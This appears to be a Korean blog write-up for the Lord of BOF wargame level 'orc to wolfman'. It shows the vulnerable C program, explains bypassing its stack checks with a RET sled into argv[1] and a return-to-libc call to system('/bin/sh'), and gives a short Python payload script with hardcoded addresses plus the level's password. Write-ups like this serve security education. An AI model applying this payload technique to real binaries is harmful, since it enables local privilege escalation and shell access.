ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [5번] Orc -> Wolfman
    WARGAME/LORD OF BOF 2018. 6. 24. 21:17

    [Summary]

    1. 31행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. 22행의 egghunter 와 34행의 buffer hunter를 우회하기 위해 argv[1] 에 ret(c3) 을 넣고 EIP 레지스터를 argv[1] 의 주소로 변조(ret sled)할 수 있다

    3. buffer 배열에 ret instruction(4) 와 dummy(40), system 함수의 주소, dummy(4), system 함수의 인자(/bin/sh)를 입력시킨 후 EIP 레지스터를 argv[1] 의 system 함수 부분의 주소로 변조하여 system 함수를 실행시킨다.

    4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - wolfman
            - egghunter + buffer hunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    }
    
    

    [Analysis]

    소스코드를 보게 되면 31행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 그러나, 이번문제는 egghunter + buffer hunter 를 추가하여 환경변수가 초기화되는 영역을 0으로 초기화하고 buffer 배열을 0으로 초기화시킨다. 또한 26행에서 ret 주소를 스택영역으로만 변조할 수 있게 필터링을 한다.


    지난번 문제와 차이는 buffer 배열을 초기화시킨다. 그러므로 더이상 RET Sled 를 하기위해 buffer 배열의 값을 쓸수 없다. 하지만 스택을 살펴보면 buffer 배열이 아닌 다른 위치에 사용자가 입력한 값이 남아있다.

    그것은 argv 배열인데 이 배열에는 사용자가 실행한 바이너리명과 바이너리에 사용될 인자의 값이 있다. 즉, 31행의 strcpy 는 argv 배열의 값을 참조하여 buffer 배열에 복사하는 것이다.


    따라서, 필자는 이를 이용하여 RET Sled 기법으로 26행을 우회하고, RTL 을 이용하여 쉘을 획득할 것이다.


    RET Sled 를 하기 위해서는 아래 값들이 필요하다.

    1. ret instruction

    2. argv[1] 배열의 주소


    문제 바이너리를 gdb 로 attach 한뒤 intel 표기방식으로 설정한다.


    main 함수가 끝나기 직전의 스택을 살펴보기 위해 ret 에 브레이크 포인트를 걸어준 뒤 26행에서 필터링되어 종료되지 않게 ret 에 '\xbf'*4 를 넣고 실행한다.


    buffer 배열의 값이 0으로 초기화 되었는지 확인한다.


    buffer 배열은 0으로 초기화 되어사용할수 없으므로 argv 배열의 존재 유무를 확인한다.


    이제 argv 배열의 존재유무를 확인하였고 이제 정확한 배열의 주소를 얻기 위해 Core dump 파일을 생성하여 분석한다.

    ※ 마지막 "B"*12 는 RET Sled 이후 RTL 에 사용될 페이로드의 더미값이다. 즉, 주소값을 맞추기 위함.


    gdb 를 실행하여 esp 레지스터 기준으로 확인한다.

    ※ x/30s - 스트링으로 검색하면 필자가 넣은 "A" 의 시작 주소를 빠르게 찾을 수 있다.


    엔터를 누르며 A 가 반복되는 주소를 찾으면 아래 그림과 같이 확인할 수 있다.

    ※ argv[1] - 0xbffffc39


    RTL 을 하기 위해서는 아래 값들이 필요하다.

    1. system 함수 주소

    2. system 함수의 인자로 들어갈 /bin/sh 문자열의 주소


    (설명생략)


    ※ system - 0x40058ae0

    ※ /bin/sh - 0x400fbff9

    [Exploit]

    import os
    import struct
    
    p = lambda x : struct.pack("<I", x)
    
    ret	= 0x909090c3
    argv	= 0xbffffc39
    system	= 0x40058ae0
    binsh	= 0x400fbff9
    
    payload = p(ret) + "A"*40 + p(argv) + p(system) + "A"*4 + p(binsh)
    
    print payload
    


    wolfman : love eyuna


    [References]


Designed by Tistory.